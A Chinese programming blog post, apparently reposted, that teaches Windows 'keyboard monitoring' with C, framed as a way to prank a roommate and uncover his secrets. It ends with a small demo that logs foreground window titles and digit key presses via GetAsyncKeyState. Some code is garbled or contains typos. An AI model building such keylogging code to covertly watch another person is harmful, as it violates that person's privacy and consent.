【网络安全-键盘监视】学会以后去捉弄舍友,看他有了什么不可告人的秘密

news/2024/5/14 9:34:44/文章来源:https://blog.csdn.net/weixin_43796670/article/details/127438779

🍃博主昵称:一拳必胜客
博主主页面链接:博主主页传送门
博主专栏页面连接:专栏传送门–计算机考研
🍑创作初心:本博客的初心是每天分享记录自己学习的脚步,和各位技术友探讨交流,同时给同样感兴趣的朋友以参考;
博主研究方向:渗透测试、嵌入式、机器学习;
🌸博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ;
今日闲谈: 单片机门槛低,薪资待遇比较低。参加算法比赛很赚。入职金融公司的it岗位,钱比较多。
学好编程:数据结构+算法 项目经验(淘宝分布式文件系统核心存储系统 + 百万并发共享单车)大四三月份找工作,百度五轮面试。

‘’
 特别鸣谢:木芯工作室
特别鸣谢:木芯工作室 、Ivan from Russia


文章目录

  • 🍃实现原理
    • windows是基于消息驱动的
    • 必会C语言知识复习
      • 位运算
      • C 可变参数
      • C 命令行参数
      • 虚函数
  • 🍑实现过程
    • windows常用函数
    • 引入头文件:Windows.h
  • 🌸成品展示


🍃实现原理

windows是基于消息驱动的

同时消息是共享的。
所以可以实现键盘捕获。
同时----键盘又是消息!—消息还会被缓存!

必会C语言知识复习

位运算

在这里插入图片描述
在这里插入图片描述

C 可变参数

有时,您可能会碰到这样的情况,您希望函数带有**可变数量的参数,**而不是预定义数量的参数。C 语言为这种情况提供了一个解决方案,它允许您定义一个函数,能根据具体的需求接受可变数量的参数。下面的实例演示了这种函数的定义。

int func(int, ... ) 
{...
}int main()
{func(2, 2, 3);func(3, 2, 3, 4);
}

请注意,函数 func() 最后一个参数写成省略号,即三个点号(…),省略号之前的那个**参数是 int,代表了要传递的可变参数的总数。**为了使用这个功能,您需要使用 stdarg.h 头文件,该文件提供了实现可变参数功能的函数和宏。具体步骤如下:

定义一个函数,最后一个参数为省略号,省略号前面可以设置自定义参数。
在函数定义中创建一个 va_list 类型变量,该类型是在 stdarg.h 头文件中定义的。
使用 int 参数和 va_start 宏来初始化 va_list 变量为一个参数列表宏 va_start 是在 stdarg.h 头文件中定义的。
使用 va_arg 宏和 va_list 变量来访问参数列表中的每个项
使用宏 va_end清理赋予 va_list 变量的内存
现在让我们按照上面的步骤,来编写一个带有可变数量参数的函数,并返回它们的平均值:

#include <stdio.h>
#include <stdarg.h>double average(int num,...)
{va_list valist;double sum = 0.0;int i;/* 为 num 个参数初始化 valist */va_start(valist, num);/* 访问所有赋给 valist 的参数 */for (i = 0; i < num; i++){sum += va_arg(valist, int);}/* 清理为 valist 保留的内存 */va_end(valist);return sum/num;
}int main()
{printf("Average of 2, 3, 4, 5 = %f\n", average(4, 2,3,4,5));printf("Average of 5, 10, 15 = %f\n", average(3, 5,10,15));
}

例子2:

// 64 位机器用 8 字节对齐, 32 位 4 位对齐
#ifdef X64
#defin t long long
#else
#define t int
#endif//VA_LIST套宏中可以使用,用来改变INTSIZEOF中t的类型
//固定参数详见
void test(int a, double b, char* c)
{char *p = (char*)&a;//因为&a = void 类型 需要转换,void * =&a 不需要转换但是使用时要转换printf("%p %p %p\n", &a, &b, &c);//观察地址变化printf("%p %s",(p+8),*(char**)(p+8+8));//64位机器时加8内存大小8字节对齐return;
}//可变参数实验
void test1(char* s,char *st,...)
{char *ppt =(char*)&s;//printf("%p %p %p %p,",ppt,&s,&st,(char*)ppt+8);printf("%p %p %p %p\n", ppt, &s, &st, ppt + 8);printf("%s\n", *(char**)(ppt+4));printf(" %d\n",*(int*)(ppt + 4+4));//当是X64就加8 X86就加4因为内存对齐规则return;
}int main()
{char *p = "Hello world";test1("111","eee",45234,23);//test(2, 2.2, "Hello world");xvoid *s = &p;printf("%s", *(char**)s);return 0;
}

C 命令行参数

执行程序时,可以从命令行传值给 C 程序。这些值被称为命令行参数,它们对程序很重要,特别是当您想从外部控制程序,而不是在代码内对这些值进行硬编码时,就显得尤为重要了。

命令行参数是使用 main() 函数参数来处理的,其中,argc 是指传入参数的个数,argv[] 是一个指针数组,指向传递给程序的每个参数。下面是一个简单的实例,检查命令行是否有提供参数,并根据参数执行相应的动作:

#include <stdio.h>int main( int argc, char *argv[] )  
{if( argc == 2 ){printf("The argument supplied is %s\n", argv[1]);}else if( argc > 2 ){printf("Too many arguments supplied.\n");}else{printf("One argument expected.\n");}
}

应当指出的是,argv[0] 存储程序的名称,*argv[1] 是一个指向第一个命令行参数的指针,argv[n] 是最后一个参数。如果没有提供任何参数,argc 将为 1,否则,如果传递了一个参数,argc 将被设置为 2。

多个命令行参数之间用空格分隔,但是如果参数本身带有空格,那么传递参数的时候应把参数放置在双引号 “” 或单引号 ‘’ 内部。让我们重新编写上面的实例,有一个空间,那么你可以通过这样的观点,把它们放在双引号或单引号"“”"。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

虚函数

虚函数


🍑实现过程

windows常用函数

1.GetAsyncKeyState()()//通过函数来判断按键按下的状态
主要用法VK_键的名称

例如

GetAsyncKeyState(VK_SHIFT)GetAsyncKeyState(VK_LSHIFT)         GetAsyncKeyState(VK_RSHIFT)MENU代表的是这是alt键

1)if(GetAsyncKeyState(VK_LSHIFT))

这样写是不对的。

GetAsyncKeyState的返回值表示两个内容,一个是最高位bit的值,代表这个键是否被按下,一个是最低位bit的值,代表在上次调用

GetAsyncKeyState后,这个键是否被按下。

应该是

if(GetAsyncKeyState(VK_LSHIFT)&&ox8000)

第十六位为真 被按着

(2)SHORT GetKeyState(int nVirtKey);

SHORT GetAsyncKeyState(int vKey);

BOOL GetKeyboardState(PBYTE lpKeyState);

三个取key status的函数的最大区别是:

第一个:是从windows消息队列中取得键盘消息,返回key status.

第二个:是直接侦测键盘的硬件中断,返回key status.

第三个:是当从windows消息队列中移除键盘消息时,才才返回key status.

2.system(“pause”);//程序暂停,显示按下任意键继续
3.Sleep(1000);//延迟1000毫秒,切记S大写
4.system(“cls”);//清屏函数
5.pos类似于conio中的gotoxy
实例

#include<stdio.h>
#include<windows.h>
void Pos(int x, int y)//设置光标位置,从哪里开始输出
{COORD pos;//表示一个字符在控制台屏幕上的坐标,左上角(0,0)HANDLE h0utput;pos. X = x;pos. Y = y;h0utput = GetStdhandle(STD_OUTPUT_HANDLE);//GetStdhandle用于从一个特定的标准设备(标准输入、标准输出或标准错误)中取得一个句柄(用来标识不同设备的数值)。可以嵌套使用。SetConsoleCursorPosition(h0uput, pos);

引入头文件:Windows.h

#include<Windows.h>
//详解
#include <winapifamily.h>/*++ BUILD Version: 0001    Increment增量;定期的加薪;增加 this if a change has global effects
// BUILD 版本: 0001如果更改具有全局效果,则增加此值
Copyright (c) Microsoft Corporation. All rights reserved.Module Name:windows.hAbstract:Master include file for Windows applications.
Windows 应用程序的主包含文件。--*/#ifndef _WINDOWS_
#define _WINDOWS_#include <sdkddkver.h>#ifndef _INC_WINDOWS
#define _INC_WINDOWS#if defined (_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif#pragma region Application Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP)/*  If defined, the following flags inhibit definition/* 
如果定义了,下面的标志将抑制定义*     of the indicated items.**  NOGDICAPMASKS     - CC_*, LC_*, PC_*, CP_*, TC_*, RC_*  NOVIRTUALKEYCODES - VK_**  NOWINMESSAGES     - WM_*, EM_*, LB_*, CB_**  NOWINSTYLES       - WS_*, CS_*, ES_*, LBS_*, SBS_*, CBS_**  NOSYSMETRICS      - SM_**  NOMENUS           - MF_**  NOICONS           - IDI_**  NOKEYSTATES       - MK_**  NOSYSCOMMANDS     - SC_**  NORASTEROPS       - Binary and Tertiary raster ops*  NOSHOWWINDOW      - SW_**  OEMRESOURCE       - OEM Resource values*  NOATOM            - Atom Manager routines*  NOCLIPBOARD       - Clipboard routines*  NOCOLOR           - Screen colors*  NOCTLMGR          - Control and Dialog routines*  NODRAWTEXT        - DrawText() and DT_**  NOGDI             - All GDI defines and routines*  NOKERNEL          - All KERNEL defines and routines*  NOUSER            - All USER defines and routines*  NONLS             - All NLS defines and routines*  NOMB              - MB_* and MessageBox()*  NOMEMMGR          - GMEM_*, LMEM_*, GHND, LHND, associated routines*  NOMETAFILE        - typedef METAFILEPICT*  NOMINMAX          - Macros min(a,b) and max(a,b)*  NOMSG             - typedef MSG and associated routines*  NOOPENFILE        - OpenFile(), OemToAnsi, AnsiToOem, and OF_**  NOSCROLL          - SB_* and scrolling routines*  NOSERVICE         - All Service Controller routines, SERVICE_ equates, etc.*  NOSOUND           - Sound driver routines*  NOTEXTMETRIC      - typedef TEXTMETRIC and associated routines*  NOWH              - SetWindowsHook and WH_**  NOWINOFFSETS      - GWL_*, GCL_*, associated routines*  NOCOMM            - COMM driver routines*  NOKANJI           - Kanji support stuff.*  NOHELP            - Help engine interface.*  NOPROFILER        - Profiler interface.*  NODEFERWINDOWPOS  - DeferWindowPos routines*  NOMCX             - Modem Configuration Extensions*/#if defined(RC_INVOKED) && !defined(NOWINRES)#include <winresrc.h>#else#if defined(RC_INVOKED)
/* Turn off a bunch of stuff to ensure that RC files compile OK. */
#define NOATOM
#define NOGDI
#define NOGDICAPMASKS
#define NOMETAFILE
#define NOMINMAX
#define NOMSG
#define NOOPENFILE
#define NORASTEROPS
#define NOSCROLL
#define NOSOUND
#define NOSYSMETRICS
#define NOTEXTMETRIC
#define NOWH
#define NOCOMM
#define NOKANJI
#define NOCRYPT
#define NOMCX
#endif#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_IX86)
#define _X86_
#endif#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_AMD64)
#define _AMD64_
#endif#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_ARM)
#define _ARM_
#endif#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_M68K)
#define _68K_
#endif#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_MPPC)
#define _MPPC_
#endif#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_M_IX86) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_IA64)
#if !defined(_IA64_)
#define _IA64_
#endif /* !_IA64_ */
#endif#ifndef _MAC
#if defined(_68K_) || defined(_MPPC_)
#define _MAC
#endif
#endif#if defined (_MSC_VER)
#if ( _MSC_VER >= 800 )
#ifndef __cplusplus
#pragma warning(disable:4116)       /* TYPE_ALIGNMENT generates this - move it *//* outside the warning push/pop scope. */
#endif
#endif
#endif#ifndef RC_INVOKED
#if     ( _MSC_VER >= 800 )
#pragma warning(disable:4514)
#ifndef __WINDOWS_DONT_DISABLE_PRAGMA_PACK_WARNING__
#pragma warning(disable:4103)
#endif
#if _MSC_VER >= 1200
#pragma warning(push)
#endif
#pragma warning(disable:4001)
#pragma warning(disable:4201)
#pragma warning(disable:4214)
#endif
#include <excpt.h>
#include <stdarg.h>
#endif /* RC_INVOKED */#include <windef.h>
#include <winbase.h>
#include <wingdi.h>
#include <winuser.h>
#if !defined(_MAC) || defined(_WIN32NLS)
#include <winnls.h>
#endif
#ifndef _MAC
#include <wincon.h>
#include <winver.h>
#endif
#if !defined(_MAC) || defined(_WIN32REG)
#include <winreg.h>
#endif
#ifndef _MAC
#include <winnetwk.h>
#endif#ifndef WIN32_LEAN_AND_MEAN
#include <cderr.h>
#include <dde.h>
#include <ddeml.h>
#include <dlgs.h>
#ifndef _MAC
#include <lzexpand.h>
#include <mmsystem.h>
#include <nb30.h>
#include <rpc.h>
#endif
#include <shellapi.h>
#ifndef _MAC
#include <winperf.h>
#include <winsock.h>
#endif
#ifndef NOCRYPT
#include <wincrypt.h>
#include <winefs.h>
#include <winscard.h>
#endif#ifndef NOGDI
#ifndef _MAC
#include <winspool.h>
#ifdef INC_OLE1
#include <ole.h>
#else
#include <ole2.h>
#endif /* !INC_OLE1 */
#endif /* !MAC */
#include <commdlg.h>
#endif /* !NOGDI */
#endif /* WIN32_LEAN_AND_MEAN */#include <stralign.h>#ifdef _MAC
#include <winwlm.h>
#endif#ifdef INC_OLE2
#include <ole2.h>
#endif /* INC_OLE2 */#ifndef _MAC
#ifndef NOSERVICE
#include <winsvc.h>
#endif#if(WINVER >= 0x0400)
#ifndef NOMCX
#include <mcx.h>
#endif /* NOMCX */#ifndef NOIME
#include <imm.h>
#endif
#endif /* WINVER >= 0x0400 */
#endif#ifndef RC_INVOKED
#if     ( _MSC_VER >= 800 )
#if _MSC_VER >= 1200
#pragma warning(pop)
#else
#pragma warning(default:4001)
#pragma warning(default:4201)
#pragma warning(default:4214)
/* Leave 4514 disabled.  It's an unneeded warning anyway. */
#endif
#endif
#endif /* RC_INVOKED */#endif /* RC_INVOKED */#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) */
#pragma endregion#endif /* _INC_WINDOWS */#endif /* _WINDOWS_ */

🌸成品展示

demo:

#include<stdio.h>
#include<Windows.h>#define MAX_TEXT_LEN 128
int main()
{//监控窗体char text[MAX_TEXT_LEN] = {0};HWND prewindow = NULL;while (1) {HWND window = GetForegroundWindow();//get handlerif (prewindow != window){GetWindowText(window, text, MAX_TEXT_LEN);printf("当前窗体:%s\n", text);prewindow = window;}//捕获键盘char key = '0';// 1键被按着 弹起来for(; key < '9'; key++)//key是虚拟码 ascii码不完全等同{if (GetAsyncKeyState(key) & 0x8000) {//第十六位为1--被按着//不重复打印while (GetAsyncKeyState(key) & 0x8000)Sleep(1);printf("%c 被按下了\n", key);}}Sleep(10);}system("pause");return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_404365.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

通过jmap、jstack分析问题,以及分析方法

一、问题 多批次导入任务&#xff0c;会出现异步线程停止工作的情况&#xff0c;后续无论导入多少任务&#xff0c;异步线程都不会执行&#xff0c;只有重启能解决。 二、工具使用 进入jdk的bin目录&#xff1a; cd /beeb/ap/uip/jdk1.8.0_231/bin 2.1 拉取jstack日志&…

setContentView源码解析

一、引言 本文将解析activity加载布局文件的setContentView源码&#xff0c;由于会涉及到部分activity的启动流程&#xff0c;这里附上一张activity启动流程图&#xff1a; 关于 setContentView 源码分两种情况&#xff0c;因为我们的 activity 有两个&#xff1a; 一种是继…

halcon脚本-边缘及骨架的识别【附源码】

文章目录前言一、原图1.边缘图2.骨架图二、实现思路1.边缘图2.骨架图三、halcon脚本实现1.边缘图2.骨架图四、实现效果1.边缘图2.骨架图前言 本文实现基于图像进行边缘或者骨架的识别&#xff0c;可实现让机器人画画 一、原图 1.边缘图 2.骨架图 二、实现思路 1.边缘图 提取…

【阅读】一周翻过《构建之法》,笔记整理

文章目录&#x1f6a9; 前言&#x1f966; 阅读笔记&#x1f33e; 结语&#x1f6a9; 前言 我的阅读方式 我拿到这本书挺久了&#xff0c;之前已经零散地看过一部分&#xff0c;最近一周集中地花了一些时间&#xff0c;将整本书看过了一遍。看得比较粗略&#xff0c;正如“好读…

怎么管理员工混工时的现象?

如果员工存在混工时&#xff0c;这表明公司的管理存在漏洞。让懒散的员工认为自己可以混日子&#xff0c;让没有绩效考核的员工默认可以混日子&#xff0c;同时让对公司感到失望的员工可以完全躺平等待被公司解雇。 工时管理一直是企业需求与痛点。特别是在疫情时期&#xff0c…

华为云数据库GaussDB 为企业核心数据运行提供优质保障

华为云数据库GaussDB 为企业核心数据运行提供优质保障 在网络信息科学技术不断发展的今天&#xff0c;海量存储信息数据中大量的存储资源被浪费&#xff1f;你有没有遇见信息数据备份恢复很慢的情况&#xff1f;让人特别的烦躁&#xff0c;特别是企业遇见了这些情况&#xff0c…

JDBC工具类和JDBC登录案例

JDBC工具类: 抽取JDBC工具类:JDBCUtils 目的:简化书写 分析∶ 1.注册驱动也抽取 2.抽取一个方法获取连接对象 3.抽取一个方法释放资源 代码实现:/*** JDBC工具类*/ public class JDBCUtils {private static String url;private static String user;private static Strin…

Cadence Allegro PCB设计88问解析(十一) 之 Allegro中文件自动保存时间设置

一个学习信号完整性的layout工程师 大家在设计图纸或者编辑文档时&#xff0c;最常点击的应该就是保存图标了。谁也不想因为软件闪退、电脑断电等情况&#xff0c;我们的劳动成果就白白的消失了。在我们用Allegro进行PCB设计&#xff0c;就会有一个自动保存的功能&#xff0c;每…

数字化转型大潮下,企业如何做好绩效管理?

久其EPM白皮书的正式发布&#xff0c;为企业财务的数字化转型实践提供了极具价值的参考。企业绩效管理&#xff08;EPM&#xff09;成为行业热点对于一家企业来说&#xff0c;做好绩效管理究竟有多重要&#xff1f;对于这个问题&#xff0c;全球商界传奇人物、GE前CEO杰克韦尔奇…

事件对象的介绍

● 什么是事件对象&#xff1f;就是当你触发一个事件以后&#xff0c;对该事件的一些描述信息 ● 例如&#xff1a; ○ 你触发一个点击事件时&#xff0c;你点了哪个位置&#xff0c;坐标多少&#xff0c;都在事件对象的属性中体现 ○ 你触发一个键盘事件时&#xff0c;你按下…

探索增强型灰狼优化算法

文章目录一、理论基础1、灰狼优化算法2、探索增强型灰狼优化算法&#xff08;1&#xff09;改进的位置更新公式&#xff08;2&#xff09;非线性控制参数策略&#xff08;3&#xff09;EEGWO算法伪代码二、仿真实验与结果分析三、参考文献一、理论基础 1、灰狼优化算法 请参考…

计算机科学与技术是信息文明时代的入口,是数字世界的基石,是人们必须掌握的基本技能之一

从人类科技发展史的角度看&#xff0c;软件工程&#xff08;计算机编程&#xff09;是刚刚开始的信息文明巨大的趋势中的一部份。人类至今经历过三次工业革命。第一次工业革命的代表是蒸汽机&#xff0c;使得人类拥有了强大的动力。第二次工业革命的代表是电力和石油&#xff0…

高数_第6章无穷级数_幂级数之__阿贝尔定理

阿贝尔定理&#xff1a; 如果幂级数 在 点 x x₀(x₀≠0)处收敛&#xff0c; 则对于适合不等式 |x| < |x₀|的一切x, 都有幂级数 在点 x 处绝对收敛&#xff1b; 反之&#xff0c;如果幂级数 在点 x x₀ (x₀≠0)处发散&#xff0c; 则对于适合不等式 |x| >…

使用Code Chart绘制流程图

Code Chart介绍 Code Chart是一个基于 Javascript 的图表和图表工具&#xff0c;它基于 markdown 语法来简化和加速生成流程图的过程&#xff0c;也不止于生成流程图。 工具地址&#xff1a;https://www.iodraw.com/codechart 图形 头部用graph 或flowchart 关键字来声明流程…

Anaconda安装

文章目录1. Anaconda3简介2. Anaconda3下载3. Anaconda3安装1. Anaconda3简介 Anaconda3 是一个用于 Python 科学计算和机器学习的开源工具&#xff0c;它是 Python 的一个科学计算发行版&#xff0c;支持 Linux、macOS 和 Windows 系统&#xff0c;包含 conda 等众多工具包和…

python抓取Prometheus的数据(使用prometheus-api-client库)

python抓取Prometheus的数据(使用prometheus-api-client库) 0、写在前面 我们要想抓取Prometheus的数据,一般想到的就是requests请求,爬虫的方式来抓取,这是可行的,当然,还有一个第三方库直接封装好了,直接用就行,代码也比较少,源码点进去就能看明白,这个库叫promet…

多链世界的“高速公路”:一文读懂跨链协议演进与未来

当我们发现自己正处于另一个“加密货币寒冬”之中——这在很大程度上是由一系列项目破产、监管打击和宏观看跌推动的——但重要的是&#xff0c;我们不要忽视促成下一次牛市的技术突破和将权力下放的精神重新引入大众。 上一个周期的主题之一仍然是行业参与者讨论的最前沿的主…

无网络机器上,win下vscode客户端通过ssh连接linux服务器

目录 参考文献 前言 下载安装VSCode 下载 安装 下载和安装必要的VSCode插件 下载 安装 客户端通过ssh远程连接linux服务器 下载并安装ssh 远程连接linux服务器 参考文献 Windows使用VSCode远程Linux&#xff08;ConteOS&#xff09;开发/调试C/C&#xff08;超详细…

是真是假,AI可根据声音检测是否感染新冠 准确率达89%

据媒体报道&#xff0c;近日&#xff0c;在西班牙巴塞罗那举行的欧洲呼吸学会国际会议上公布的一项研究显示&#xff0c;AI可通过手机应用程序从人们声音中检测出新冠肺炎感染&#xff0c;其准确率达到89%。 新冠肺炎感染通常会影响上呼吸道和声带&#xff0c;导致一个人的声音…

No6.从零搭建spring-cloud-alibaba微服务框架,实现fegin、gateway、springevent等(一)

代码地址与接口看总目录&#xff1a;【学习笔记】记录冷冷-pig项目的学习过程&#xff0c;大概包括Authorization Server、springcloud、Mybatis Plus~~~_清晨敲代码的博客-CSDN博客 之前只零碎的学习过spring-cloud-alibaba&#xff0c;并没有全面了解过&#xff0c;这次学习p…